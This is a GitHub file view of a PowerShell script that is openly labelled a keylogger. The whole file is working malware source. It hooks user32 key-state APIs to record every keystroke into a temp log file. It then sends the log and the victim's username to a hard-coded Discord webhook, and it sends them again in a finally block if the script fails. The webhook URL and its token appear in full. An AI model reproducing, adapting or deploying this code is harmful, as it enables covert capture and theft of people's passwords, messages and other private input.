-
Notifications
You must be signed in to change notification settings - Fork 1
/
p.ps1
79 lines (63 loc) · 2.38 KB
/
p.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
# powershell keylogger
# created by : C0SM0
# webhook, CHANGE ME
$webhook = "https://discord.com/api/webhooks/1027668444285509714/UZkPFWVd0AyoiFIj6Qk9SS62iE0qpvLhlopmztl9IWDB4C6YgIbqvdgMfbxP1dfaziBR"
# write pid
$PID > "$env:temp/DdBPKCytRe"
# keylogger
function KeyLogger($logFile="$env:temp/$env:UserName.log") {
# webhook process
$logs = Get-Content "$logFile" | Out-String
$Body = @{
'username' = $env:UserName
'content' = $logs
}
Invoke-RestMethod -Uri $webhook -Method 'post' -Body $Body
# generate log file
$generateLog = New-Item -Path $logFile -ItemType File -Force
# API signatures
$APIsignatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@
# set up API
$API = Add-Type -MemberDefinition $APIsignatures -Name 'Win32' -Namespace API -PassThru
# attempt to log keystrokes
try {
while ($true) {
Start-Sleep -Milliseconds 40
for ($ascii = 9; $ascii -le 254; $ascii++) {
# use API to get key state
$keystate = $API::GetAsyncKeyState($ascii)
# use API to detect keystroke
if ($keystate -eq -32767) {
$null = [console]::CapsLock
# map virtual key
$mapKey = $API::MapVirtualKey($ascii, 3)
# create a stringbuilder
$keyboardState = New-Object Byte[] 256
$hideKeyboardState = $API::GetKeyboardState($keyboardState)
$loggedchar = New-Object -TypeName System.Text.StringBuilder
# translate virtual key
if ($API::ToUnicode($ascii, $mapKey, $keyboardState, $loggedchar, $loggedchar.Capacity, 0)) {
# add logged key to file
[System.IO.File]::AppendAllText($logFile, $loggedchar, [System.Text.Encoding]::Unicode)
}
}
}
}
}
# send logs if code fails
finally {
# send logs via webhook
Invoke-RestMethod -Uri $webhook -Method 'post' -Body $Body
}
}
# run keylogger
KeyLogger